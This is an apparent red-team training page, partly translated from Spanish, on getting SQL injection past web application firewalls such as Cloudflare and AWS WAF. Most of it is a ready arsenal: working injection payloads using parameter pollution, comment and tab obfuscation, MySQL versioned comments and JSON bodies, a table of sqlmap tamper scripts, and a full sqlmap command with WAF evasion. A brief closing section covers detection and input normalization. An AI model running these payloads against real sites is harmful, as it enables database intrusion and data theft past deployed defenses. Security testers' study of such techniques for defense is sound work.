📕 FIELD MANUAL 8.1: WAF EVASION (TAMPERING & OBFUSCATION)
Objective: We will bypass modern Web Application Firewalls (WAF) (Cloudflare, AWS WAF, Akamai) using "Semantic Desynchronization": we will make the WAF...
Classification: RED TEAM EYES ONLY
Objective: We will bypass modern Web Application Firewalls (WAF) (Cloudflare, AWS WAF, Akamai) through “Semantic Desynchronization”: we will make the WAF see noise, but the database sees instructions.
MITRE ATT&CK: T1562.001 (Impair Defenses), T1027 (Obfuscated Files).
1. INTEL & RECON: ANATOMY OF BLOCKING
Sección titulada «1. INTEL & RECON: ANATOMÍA DEL BLOQUEO»The WAF is a traffic guard that looks for known patterns (Signatures) in our HTTP request.
WAF BYPASS SIMULATOR: Block Analysis
Sección titulada «WAF BYPASS SIMULATOR: Análisis de Bloqueo»Standard Scenario (Detected):
- Input Payload:
{"id": "1' OR 1=1 --"} - WAF Status: 🚫
403 FORBIDDEN - Cause: The WAF regex engine detected the contiguous string
ORfollowed by an equality1=1.
Tactical Objective: We will break contiguity without breaking SQL logic.
2. WEAPONIZATION: EVASION ARSENAL
Sección titulada «2. WEAPONIZATION: ARSENAL DE EVASIÓN»TECHNIQUE A: HTTP Parameter Pollution (HPP)
Sección titulada «TÉCNICA A: HTTP Parameter Pollution (HPP)»Target: ASP.NET (IIS), Java Servers.
Servers concatenate parameters with the same name, but many WAFs only inspect the first or the last.
- Fragmented Attack:
GET /search.aspx?id=1&id=UNION&id=SELECT&id=1,2,3-- - WAF View: We will see three harmless
idparameters separately. - Database View:
id=1 UNION SELECT 1,2,3--
TECHNIQUE B: Whitespace & Comment Flooding
Sección titulada «TÉCNICA B: Whitespace & Comment Flooding»The WAF looks for SPACE + OR + SPACE.
- Payload (MySQL):
1'/**/OR/**/1=1/**/# - Payload (MSSQL - Tabs):
%09OR%091=1-- - Payload (Junk Comments):
UNION/*!50000SELECT*/1,2(MySQL executes this only if the version is > 5.00.00, the WAF often ignores it as a comment).
TECHNIQUE C: JSON SQL Injection
Sección titulada «TÉCNICA C: JSON SQL Injection»Many legacy WAFs inspect GET/POST parameters but ignore keys within a JSON body.
-
Request:
POST /api/search HTTP/1.1Content-Type: application/json{"query": "1' OR 1=1 --"} -
Result: If the backend converts that JSON to a manual SQL query, the JSON-blind WAF will let the payload pass.
3. AUTOMATION: TAMPER SCRIPTS
Sección titulada «3. AUTOMATION: TAMPER SCRIPTS»We will use dynamic transformation scripts in SQLMap to evade static signatures.
Tamper Selection Table:
| Target DB | WAF Behavior | Tamper Script (Python) | Technical Action |
|---|---|---|---|
| General | Blocks spaces | space2comment.py | SELECT id -> SELECT/**/id |
| MySQL | Blocks > and = | between.py | >1 -> NOT BETWEEN 0 AND 1 |
| MSSQL | Block keywords | charencode.py | Full URL-encoding |
| General | Strict WAF | randomcase.py | uNiOn SeLeCt |
Sniper Command:
sqlmap -u "[http://target.com/vuln](http://target.com/vuln)" --random-agent --tamper="between,space2comment,charunicodeencode" --skip-waf --level 34. PURPLE TEAM VIEW (DEFENSE)
Sección titulada «4. PURPLE TEAM VIEW (DEFENSA)»- Detection: We will configure alerts for requests with high entropy or multiple repeated parameters (HPP) in web server logs.
- Mitigation: Input Normalization. The WAF must decode (URL Decode, HTML Decode, Unicode Decode) before applying rules.

